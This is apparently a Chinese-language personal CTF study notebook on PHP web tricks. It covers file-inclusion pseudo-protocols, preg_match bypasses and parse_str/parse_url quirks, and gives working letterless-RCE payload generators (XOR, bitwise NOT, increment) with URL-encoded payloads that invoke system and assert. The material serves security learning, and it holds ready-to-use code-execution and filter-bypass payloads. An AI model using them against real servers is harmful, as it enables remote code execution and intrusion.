启语:算给自己看的,只能算一些干货,从刚入门到现在写了些,有时候懒没放进来,慢慢的都会放进来吧!
伪协议总结参考:
1.eval的一些小姿势?
平常我们见到的eval都是形如eval(system('ls');)
这样式儿的是吧
下面介绍一些变种
1 2 3 4 5
| eval(system('ls')?>) eval(?><?php system('ls');?>) eval(?><?php system('ls');?>;) eval(?><?php system('ls');?><?) eval(?><?php system('ls');?><?php;)
|
2.伪协议与文件包含函数的一些误区
data协议
- 条件
- allow_url_fopen:on
- allow_url_include :on
就实际上我是有一个误区,没错说的就是你
不要误以为data+文件包含函数
就是可以执行命令(刚入门的时候写的)
实际上能执行代码完全靠的是include
的函数,而highlight_file
这类的就完全不行!
- 举个栗子!
1 2 3 4 5 6 7 8
| <?php if (isset($_GET['file'])) { highlight_file($_GET["file"]); } else { highlight_file(__FILE__); } ?>
|
这里是highlight_file对不对,我们输入一个data协议试试看

可以看出来这边儿,完完全全的没有运行,单单的是把指令显示出来了而已,这也凸显了highlight_file
这个函数的作用,就是显示代码,并不具备解析作用
所以data伪协议也实际上可以看作是把这段代码存储到了file里面而已!
至于为什么能执行指令,data+include
,由于include会解析文件,所以里面的指令被运行了!
我们把highlight_file
更换成include
可以发现运行了指令:

完完整整的运行出来了,所以这归功与include
的功劳
- 条件
- allow_url_include :on
- allow_url_fopen:开关都可以
data与input基本一致,只不过data
是以get
方式向file储存代码,而input
是以post
方式去储存
注意:用input方法的话就不能去用hackbar的post(有小bug),得用burpsuite
去传递post
- 举个栗子
1 2 3 4 5 6 7 8
| <?php if (isset($_GET['file'])) { include($_GET["file"]); } else { highlight_file(__FILE__); } ?>
|
代码和上面的基本一样,我们用的是_include_

可以看到如果用hackbar去传参一点反应都没有,具体原因是什么我来告诉你:
我们传一个a=<?php phpinfo();?>
:

在界面中出现了这个,可以发现我们输入的代码进去之后被url编码导致乱码无法识别,进而不能实现
这里也可以说明data和input的作用其实是一样的,都不是直接运行代码,而是依赖include去解析,界面中显示了a=……..,就是最好的解释
换成burpsuite去传递这个参数后:

假如我们把include改成show_source或者是highlight_file的话:

可以看到就只剩下了代码,和上面运行data协议一模一样
小结
不难发现,其实data和input就是向参数中写入数据,再依赖include这一类函数去解析,最后运行代码
并不是什么直接运行代码哈哈哈哈,笑死我了为什么我之前一直认为会直接运行啊!
filter协议
filter协议用法就很熟悉,与data相反,filter是去读取文件,把文件的内容存入参数:
- 通俗易懂的栗子:
1 2 3 4 5 6 7 8
| <?php if (isset($_GET['file'])) { @show_source($_GET["file"]); } else { highlight_file(__FILE__); } ?>
|
代码还是上面的代码:

可以看到显示出了我们flag.php里面的文件内容,原理和上面的data,input一样,只是将数据存入file这个变量里,并不是会直接显示在页面上
我们把show_source
换成@file_get_contents
:

可以发现什么都没有
变成echo @file_get_contents
后,查看网页源代码发现:

输出了内容
小结
所谓的什么伪协议流,其实就是读取文件或者写入内容到文件,并且储存到变量里面
不要搞混了哦
3.URL编码一些总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 特殊含义 十六进制
+ 表示空格(在URL中不能使用空格) %2B 空格 URL中的空格可以用+号或者编码 %20 / 分隔目录和子目录 %2F ? 分隔实际的URL和参数 %3F # 表示书签 %23 & URL中指定的参数间的分隔符 %26 = URL中指定的参数的值 %3D
比如:http://www.xx.com/test/?name=admin&passwd=123456 test目录下的name参数等于admin,passwd参数等于123456
http://www.xx.com/?action=i+love+you 加号代替空格 http://www.xx.com/?action=i%20love%20you 空格编码
|
(1)在URL中,空格和单引号都会被编码,例如访问:https://www.baidu.com/?id=1&name='xi e’&pass=”密码”

抓包是这样的,单引号,双引号、中文和空格都会被编码

(2)在我们的URL参数中有一个参数的值中包含了 & 的话,则在URL中必须将 & 给编码。例如我们的name参数的值是12&dsfa 的话,我们在URL中则必须将&给编码
https://www.baidu.com/?id=1&name=12&dsfa ,这里没将&进行编码的话,浏览器则把12&dsfa给拆开了

https://www.baidu.com/?id=1&name=12%26dsfa ,这里将 & 进行了编码,则浏览器将name的值解析为了 12&dsfa

#号的作用
4.扫盲之%0a绕过preg_match误区
今天以前,我还傻乎乎的觉得,看到了preg_match没加m,就可以换行符绕过!这不是天经地义吗!
然后到今天才知道自己的浅薄
先浅浅的举个栗子
1 2 3 4 5 6
| <?php $str=$_GET['b']; if(preg_match('/^flag/i', $str)){ echo 'yes'; } ?>
|

诶?怎么回事是不是很好奇,不是说换行了就不会被匹配到吗?我想告诉你的是这是错误的想法
实际上并不是什么只会匹配第一行,这是一个错误的思想
那我们说的“换行”是什么意思呢?
1 2 3 4 5 6
| <?php $str=$_GET['b']; if(preg_match('/^.flag/i', $str)){ echo 'yes'; } ?>
|
实际上意思是换行符不会被正则匹配中的”.”识别!

所以我们payload:?b=%0aflag
这个%0a不会被正则识别所以达到了绕过!

这次就没输出yes,说明正则匹配没匹配到!
那我们正则匹配里的m的意思是什么?

在这里可以看到,m
是一定要搭配^
或者$
来使用的,也就是说有m必须要有^或者$,否则无意义
- 举个栗子
1 2 3 4
| $str=$_GET['b']; if(preg_match('/^flag/im', $str)){ echo 'yes'; }
|
我们payload:a%0aflag

发现匹配到了,而flag明明不是首发
这更好的印证了m是以每个换行符\n
为起始点去识别的
这里要说一下正则匹配^flag
不是说以f字母开头的,是以flag开头的

这样就匹配不到
而在非多行模式下,$似乎会忽略在句尾的%0a1 2 3
| if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { echo $flag; }
|
?a=flag%0a
5.数组绕过preg_match
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null
6.误区之parse_str
parse_str的官方介绍:

函数将字符串中的变量注册,分隔符就是&
和URL一模一样,那他有什么误区呢?
在做ctfshow的web134时发现了这个问题
函数的分隔符&不是你用URL传进去的,而是源代码里用URL,有点抽象我们来看个例子
1 2 3 4 5
| <?php var_dump($_SERVER['QUERY_STRING']); parse_str($_SERVER['QUERY_STRING']); var_dump(get_defined_vars()) ?>
|
首先我们payload:?_POST['key1']=36d&_POST['key2']=36d

首先单引号被转成了%27(自动转),前面一切正常
注意 ‘’key1’’ => string ‘36d’ (length=3) ‘’key2’’ => string ‘36d’ (length=3)
这里他的键的名字是'key1'
他把单引号也算成了名字,这时候我还很疑惑到底是怎么回事,我们平常给数组取键名都是带单引号的呀
猜想是parse_str自动把URL编码解码了:
换一个代码测试一下:
1 2 3 4
| <?php parse_str("a=1%26b=2%26c=3"); var_dump(get_defined_vars()) ?>
|
其中%26是&

可以看到在最后这个a被注册成了一个变量,值是1&b=2&c=3
首先函数会自动解码URL编码,这一点确信了
诶?真是奇怪,不是说&是分隔符吗?是不是这么想的
实际上我们传入%26进去,函数以为我们的意思是让%26解码后作为变量的值
parse_str中&怎么当分隔符?:
1 2 3
| parse_str("a=1&b=2&c=3"); var_dump(get_defined_vars())
|
这种情况结果为:

可以看到a,b,c均被注册,所以说&要在源代码中才可以起分隔符的作用!
我们URL去传&假如不编码会被认为要传入多个变量
假如编码也发挥不了作用
结束!
7.无字母RCE的一些思考
首先参考yu的文章:
按位异或,按位与,按位或
取反,按位,都需要PHP7环境!!!!!!(MUST)
麻,以按位疑惑为例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $myfile = fopen("text.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| def action(arg): s1 = "" s2 = "" for i in arg: f = open("text.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output)
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) print(param)
|
首先来讲一下原理把:
1 2 3 4 5 6 7 8
| if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }
else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b));
|
主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作
举个栗子吧,以脚本生成的结果中调几个来看:

看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:
1 2 3 4 5
| <?php echo hex2bin('04').'<br>'; echo hex2bin('27').'<br>'; echo (urldecode('%04')^urldecode('%27')); ?>
|

从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可
用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:

(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”)
就好比我们的system(‘ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); highlight_file(__FILE__); $code=$_GET['code']; echo $code; if(preg_match('/[a-z0-9]/i',$code)){ die('hacker'); } eval($code); ?>
|
我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^”%7f%60%7f%60%60%60%60”)(“%0b”^”%3a”);

看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:
1 2 3 4 5
| <?php echo urldecode("%0f%08%0f%09%0e%06%0f")^urldecode("%7f%60%7f%60%60%60%60"); echo '<br>'; echo urldecode("%0b")^urldecode("%3a"); ?>
|

是可行的,都解出来了,这样对原理就清楚了
取反
在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; ?>
|
意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:
1 2 3
| <?php echo ~'phpinfo()'; ?>
|

可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:
1 2 3 4 5
| <?php $a=~'phpinfo();'; echo ~$a; ?>
|

可以还原,和上面的异或其实是一个意思
自增
参考以上文章
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php $_=[].[]; $__=''; $_=$_['']; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $__.=$_; $_=++$_; $_=++$_; $__=$_.$__; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $_=++$_; $__.=$_; ${'_'.$__}[_](${'_'.$__}[__]);
url编码后: %24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;
$_=$$____; $___($_[_]);
url编码后: %24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
|
第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用
上传文件
参考:
利用/tmp/phpxxxxxx
8.pathinfo()函数漏洞
参考如下:

1 2 3 4 5 6 7
| <?php $name = $_GET['name']; var_dump($name); $pathinfo_name=pathinfo($name); var_dump($pathinfo_name); highlight_file(__FILE__); ?>
|
我们传入1.php/.后,后缀名为NULL,这样可以绕过一些检测:

$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。如/../../../../1.php
,还是会检测出php
9.LInux提权
这边儿还是自己实操为好,之前因为一道错题,全测了个遍,正好也练了会儿
SUID利用
10.SSTI大全
11.parse_url解析问题
参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 完整url: scheme:[ 这里仅讨论url中不含'?'的情况
php parse_url: host: 匹配最后一个@后面符合格式的host
libcurl: host:匹配第一个@后面符合格式的host
如:
http:
php解析结果: schema: http host: b.com user: u pass: p@a.com:80 libcurl解析结果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/会被忽略掉
|
杂项
Md5
0e1137126905 |
0e291659922323405260514745084877 |
php magic hash |
0e215962017 |
0e291242476940776845150308577824 |
php magic hash |
240610708 |
0e462097431906509019562988736854 |
php magic hash |
QNKCDZO |
0e830400451993494058024219903391 |
php magic hash |
129581926211651571912466741651878684928 |
06da5430449f8f6f23dfc1276f722738 |
raw : ?T0D??o#??’or’8 |
.N=? |
|
|
编码
一些转换网址
一些教程网址
https://www.ddosi.org/shell
原型链污染:
绕过wakeup new:
https://bugs.php.net/bug.php?id=81151
WAF绕过:
获得IP的一些请求头
12.大佬博客
https://drun1baby.github.io/
https://5ime.cn/h1ve.html
https://blog.zgsec.cn/index.php/category/ctf/
https://github.com/SecWiki/sec-chart